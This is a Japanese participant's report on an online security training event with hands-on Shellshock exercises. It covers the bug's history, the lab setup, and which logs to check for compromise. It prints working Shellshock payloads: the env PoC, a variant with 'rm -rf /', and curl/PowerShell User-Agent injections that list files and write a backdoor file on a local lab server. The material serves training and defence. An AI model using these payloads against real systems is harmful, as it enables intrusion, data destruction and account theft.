SC4Y ('20#1) サイバーセキュリティ 脆弱性対応 (防災訓練)参加レポート
北海道地域情報セキュリティ連絡会（HAISL）主催のセキュリティイベントSC4Yに参加しました。
Zoom＋SlackとYoutube Liveを併用してのオンライン開催でした。
本イベントではshellshockを題材にしたハンズオン演習が行われたため、簡単なメモを残しておきたいと思います。
ShellShockとは?
実際にバグが仕込まれたのが1993年、Stephane Chazelas氏がこれを報告したのが2014年9月9月の出来事とのこと。
ハンズオンでは、そこから修正パッケージが公開されるまでの一連の流れを攻撃者・防衛側の両サイドから検証する形で追っていきました。
PoCコードについて
PoC(Proof of Concept)コードとは、脆弱性を検証するためのテストコード
$env x='() { :;}; echo vulnerable' bash -c "echo test
envはshellの環境変数設定コマンド
bash -c "echo test"はシンプルなシェルのコード
xは環境変数で
本当は
env LANG C=dateなどというように使う
x='() { :;};で変数xに魔法の文字列() { :;};とコマンドが入れられている→怪しい
このコマンドを実行すると、想定される実行結果は
test
ですが、
使用している Bash のバージョンに脆弱性が含まれる場合は、
testの他に
vulnerable
という文字列が表示される
→環境変数の文字列がコマンドとして実行されてしまうのが問題
echo vulnerable で環境変数に攻撃的なコードを埋め込んでいる
たとえば
$env x='() { :;}; rm -rf / ' bash -c "echo test"
なら、rm -rfでデータをすべて消去
/bin/cat /etc/passwdとしたならアカウント情報窃取
という攻撃ができてしまう
LAB環境についての覚え書き
今回は比較的簡単に検証できる環境としてVirtual Boxを利用
・NICというLANカードを介して
有線のLANポート、無線のアンテナのようなもの。
・LAB環境は脆弱性をわざと参照している
外部から攻撃されては困るので、NAT*1といわれる技術で隔離している。
・攻撃者と防衛側の一人二役で行う
Windowsの場合
Tera Termが防衛側（vNIC*2）、Power Shellが攻撃側（lo/ループバックアドレス）*3
（攻撃側）偵察行動のコマンド例
windows powerShellの場合
.\curl.exe -A ‘() { :;}; echo Content-Type: text/html; echo ; /bin/ls /usr/local’ http://127.0.0.1/test.php
もしくは
(iwr -UserAgent ‘() { :;}; echo Content-Type: text/html; echo ; /bin/ls /usr/local’ http://127.0.0.1/test.php).Content
（攻撃側）拠点確立行動のコマンド例
.¥curl.exe -A ‘() { :;}; echo Content-Type: text/html; echo ; echo hacked > /tmp/backdoor’ http://127.0.0.1/test.php
もしくは
(iwr -UserAgent ‘() { :;}; echo Content-Type: text/html; echo ; echo hacked > /tmp/backdoor’ http://127.0.0.1/test.php).Content
curl:http通信
'().../local':User-Agentにbashコマンドを記法
http以下:CGIコンテンツを指定
SlackからPower Shell上にコピペするとcurl.exeの前の\（半角バックスラッシュ）が¥（半角円マーク）に
→そのままではエラーが出るので、Power Shell上で\に書き換えればOK
UserAgentにコマンドを入れるだけで攻撃が成立してしまう怖さ
被害の有無を調査する
shellsockの場合は影響範囲が広く、どこで影響を受けるかわからないため、ありとあらゆるログを見るべき。
たとえば
- システムログ/var/log/messages
- 認証ログ/var/log/secure
- デバイス関連ログ/var/log/dmesg/
- 定期実行処理のログ/var/log/cron
- メールのログ/var/log/maillog
- httpdのログ/var/log/httpd/以下
その他にも、データベースを使っているならmysqlのログなど
不審なログを発見するために
異常時のログを見分けるために、正常時にはどんなログが流れているのか、どういう意味なのかを定期的に確認しておくのがよい。
学びとして
セキュリティの勉強はインプットが中心でモチベーションが続きにくく、アウトプットをするにはどうするのがよいだろうか？という質問がありました。
発展的なアウトプット手段としてはSecHack365*4やCTF*5・バグバウンティの紹介なども。
またセキュリティで扱うテーマはとても広いので、最初は興味を持った分野から掘り下げていくのがよいというお話でした。
まだまだ不勉強で理解が追い付かないところが多かったですが、内容の濃いお話がたくさん聞けました。
こうした学びの機会は貴重なので、機会があればぜひまた参加したいです。
期末試験が終わったらこれを再開したい
